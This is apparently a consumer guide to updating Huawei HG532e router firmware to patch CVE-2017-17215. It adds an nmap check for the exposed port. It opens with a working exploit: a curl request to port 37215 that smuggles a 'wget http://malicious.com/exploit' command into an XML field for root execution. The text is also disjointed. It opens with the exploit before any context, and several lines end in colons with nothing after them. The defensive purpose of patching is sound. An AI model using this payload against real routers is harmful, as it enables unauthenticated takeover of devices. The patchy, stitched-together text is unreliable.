# Attacker sends crafted HTTP request to UPnP service
curl -H "Content-Type: text/xml" -d "<NewStatus>'; wget http://malicious.com/exploit; '</NewStatus>" http://target:37215/ctrlt/DeviceUpgrade_1

Result: Arbitrary command execution as root.

Need the file? Search for: site:telekom.com HG532e firmware or contact your ISP’s technical support with your router’s serial number.

Use this guide at your own risk. Incorrect firmware can permanently damage your device.

Most HG532e units are provided by ISPs (e.g., Etisalat, TalkTalk, Telkom). These versions are customized with:

Most ISPs locked the bootloader. Search for: "[Your ISP] Huawei HG532e firmware download".

The single most important reason to update your HG532e firmware today is to patch CVE-2017-17215.

What it is: A remote code execution vulnerability in the Upnp service. An unauthenticated attacker on your local network (or via the internet if port 37215 is exposed) can send a crafted HTTP request to execute system commands as root.

Exploits in the wild:

How to verify the patch is applied: After updating, run a vulnerability scan from your PC using nmap:

nmap -p 37215 --script upnp-info 192.168.1.1

If the port is closed or a new firmware version appears in the banner, you are protected.